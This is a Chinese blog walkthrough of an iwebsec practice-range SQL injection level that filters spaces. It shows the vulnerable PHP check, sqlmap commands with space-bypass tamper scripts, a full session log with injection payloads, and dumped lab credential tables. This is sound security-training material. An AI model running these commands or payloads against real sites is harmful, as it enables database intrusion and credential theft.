• iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过

    系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记3- bool注入（布尔型盲注）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入（时间型盲注）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入（报错型盲注）_mooyuan的博客-CSDN博客
    iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客
     

    目录

    系列文章目录

    前言

    一、源码分析

    二、sqlmap注入

    1.注入命令

     2.完整交互过程

    3.多种渗透方法合集

    总结

    前言

    打开靶场，url为 http://192.168.71.151/sqli/07.php?id=1 如下所示

    ​

    一、源码分析

    如下所示，SQL语句与前几关一样，调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入，并且对参数id做了空格过滤。

    ​

    空格过滤的相关源码如下所示

    1. if (preg_match('/ /', $_GET["id"])) {
    2. 		die("ERROR");
    3. 	}

    二、sqlmap注入

    1.注入命令

    使用sqlmap的绕waf脚本space2comment.py，将空格使用注释符替换

    sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py

    --tamper "space2comment.py"

    补充：

    脚本名： space2comment.py 

    作用：Replaces space character  ' '  with comments   /**/

    也就是用注释/**/替换空格字符' '

    如下所示，渗透成功

    ​

     2.完整交互过程

    完整的注入交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py
    2.         ___
    3.        __H__                                                                                                                                                                                                                               
    4.  ___ ___[']_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
    5. |_ -| . ["]     | .'| . |                                                                                                                                                                                                                  
    6. |___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                                                  
    7.       |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               
    8.  
    9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    11. [*] starting @ 23:52:15 /2022-11-24/
    13. [23:52:15] [INFO] loading tamper module 'space2comment'
    14. [23:52:15] [INFO] testing connection to the target URL
    15. [23:52:15] [INFO] checking if the target is protected by some kind of WAF/IPS
    16. [23:52:15] [INFO] testing if the target URL content is stable
    17. [23:52:15] [INFO] target URL content is stable
    18. [23:52:15] [INFO] testing if GET parameter 'id' is dynamic
    19. [23:52:16] [WARNING] GET parameter 'id' does not appear to be dynamic
    20. [23:52:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
    21. [23:52:16] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
    22. [23:52:16] [INFO] testing for SQL injection on GET parameter 'id'
    23. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
    24. for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
    25. [23:52:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    26. [23:52:16] [WARNING] reflective value(s) found and filtering out
    27. [23:52:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
    28. [23:52:16] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
    29. [23:52:16] [INFO] testing 'Generic inline queries'
    30. [23:52:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
    31. [23:52:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
    32. [23:52:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
    33. [23:52:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
    34. [23:52:16] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
    35. [23:52:16] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
    36. [23:52:16] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
    37. [23:52:16] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
    38. [23:52:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
    39. [23:52:16] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
    40. [23:52:16] [INFO] testing 'MySQL inline queries'
    41. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
    42. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
    43. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
    44. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
    45. [23:52:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
    46. [23:52:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
    47. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
    48. [23:52:26] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
    49. [23:52:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    50. [23:52:26] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    51. [23:52:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
    52. [23:52:26] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
    53. [23:52:26] [INFO] target URL appears to have 3 columns in query
    54. [23:52:26] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
    55. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    56. sqlmap identified the following injection point(s) with a total of 68 HTTP(s) requests:
    57. ---
    58. Parameter: id (GET)
    59.     Type: boolean-based blind
    60.     Title: Boolean-based blind - Parameter replace (original value)
    61.     Payload: id=(SELECT (CASE WHEN (9753=9753) THEN 1 ELSE (SELECT 3710 UNION SELECT 2663) END))
    63.     Type: error-based
    64.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    65.     Payload: id=1 AND (SELECT 9472 FROM(SELECT COUNT(*),CONCAT(0x717a6b7a71,(SELECT (ELT(9472=9472,1))),0x716b766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    67.     Type: time-based blind
    68.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    69.     Payload: id=1 AND (SELECT 8269 FROM (SELECT(SLEEP(5)))EapV)
    71.     Type: UNION query
    72.     Title: MySQL UNION query (NULL) - 3 columns
    73.     Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x717a6b7a71,0x53517459567341764153487178596c4b74764f51697a6e4e595654686774574447434b4865697356,0x716b766271)#
    74. ---
    75. [23:52:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
    76. [23:52:26] [INFO] the back-end DBMS is MySQL
    77. web server operating system: Linux CentOS 6
    78. web application technology: Apache 2.2.15, PHP 5.2.17
    79. back-end DBMS: MySQL >= 5.0
    80. [23:52:26] [INFO] fetching current database
    81. current database: 'iwebsec'
    82. [23:52:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    83. [23:52:26] [INFO] fetching current database
    84. [23:52:26] [INFO] fetching tables for database: 'iwebsec'
    85. [23:52:26] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    86. [23:52:26] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    87. Database: iwebsec
    88. Table: xss
    89. [5 entries]
    90. +----+------------------------------------+
    91. | id | name                               |
    92. +----+------------------------------------+
    93. | 7  |  |
    94. | 6  |  |
    95. | 5  |  |
    96. | 1  | iwebsec                            |
    97. | 8  |                  |
    98. +----+------------------------------------+
    100. [23:52:27] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    101. [23:52:27] [INFO] fetching columns for table 'user' in database 'iwebsec'
    102. [23:52:27] [INFO] fetching entries for table 'user' in database 'iwebsec'
    103. Database: iwebsec
    104. Table: user
    105. [3 entries]
    106. +----+----------+----------+
    107. | id | password | username |
    108. +----+----------+----------+
    109. | 1  | pass1    | user1    |
    110. | 2  | pass2    | user2    |
    111. | 3  | pass3    | user3    |
    112. +----+----------+----------+
    114. [23:52:27] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    115. [23:52:27] [INFO] fetching columns for table 'users' in database 'iwebsec'
    116. [23:52:27] [INFO] fetching entries for table 'users' in database 'iwebsec'
    117. Database: iwebsec
    118. Table: users
    119. [1 entry]
    120. +-------+-------------+----------+
    121. | role  | password    | username |
    122. +-------+-------------+----------+
    123. | admin | mall123mall | orange   |
    124. +-------+-------------+----------+
    126. [23:52:27] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    127. [23:52:27] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    128. [23:52:27] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    129. Database: iwebsec
    130. Table: sqli
    131. [7 entries]
    132. +----+-----------------------+----------+------------------------------------------------------+
    133. | id | email                 | password | username                                             |
    134. +----+-----------------------+----------+------------------------------------------------------+
    135. | 1  | user1@iwebsec.com     | pass1    | user1                                                |
    136. | 2  | user2@iwebsec.com     | pass2    | user2                                                |
    137. | 3  | user3@iwebsec.com     | pass3    | user3                                                |
    138. | 4  | user4@iwebsec.com     | admin    | admin                                                |
    139. | 5  | 123@123.com           | 123      | 123                                                  |
    140. | 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
    141. | 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    142. +----+-----------------------+----------+------------------------------------------------------+
    144. [23:52:27] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    145. [23:52:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    146. [23:52:27] [WARNING] your sqlmap version is outdated
    148. [*] ending @ 23:52:27 /2022-11-24/

    3.多种渗透方法合集

    实际上sqlmap在过滤空格有多个渗透脚本可以尝试，如下所示均可以渗透成功，大家可以多多实验

    1. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py
    2. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2plus.py
    3. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2hash.py
    4. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mssqlblank.py
    5. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mysqlblank.py
    6. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2randomblank.py
    7. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mssqlhash.py
    8. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mysqldash.py
    9. sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper  space2morehash.py

    总结

    SQL注入主要分析几个内容

    （1）闭合方式是什么？iwebsec的第7关关卡为数字型，无闭合

    （2）注入类别是什么？这部分是普通的数字型注入，使用union法即可注入成功

    （3）是否过滤了关键字？很明显通过源码，iwebsec的第07关卡过滤了空格

    了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的数字型注入内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。

  • 相关阅读:
    基于SSM的社区疫情居民信息登记系统
    如何通过执行SQL为低代码项目提速？
    net/http库中request.RemoteAddr的值不确定性-【Golang踩坑笔记】
    针孔相机投影模型
    棒球俱乐部青少年成长体系·棒球1号位
    主页整理：8月1日---9月10日
    Fury：一个基于JIT动态编译的高性能多语言原生序列化框架
    M-LVDS收发器MS2111，可替代SN65MLVD206
    【Bond随你温故Azure Architecture】之HA&DR篇
    Latex语法学习09：如何编写一本书
  • 原文地址：https://blog.csdn.net/mooyuan/article/details/128036000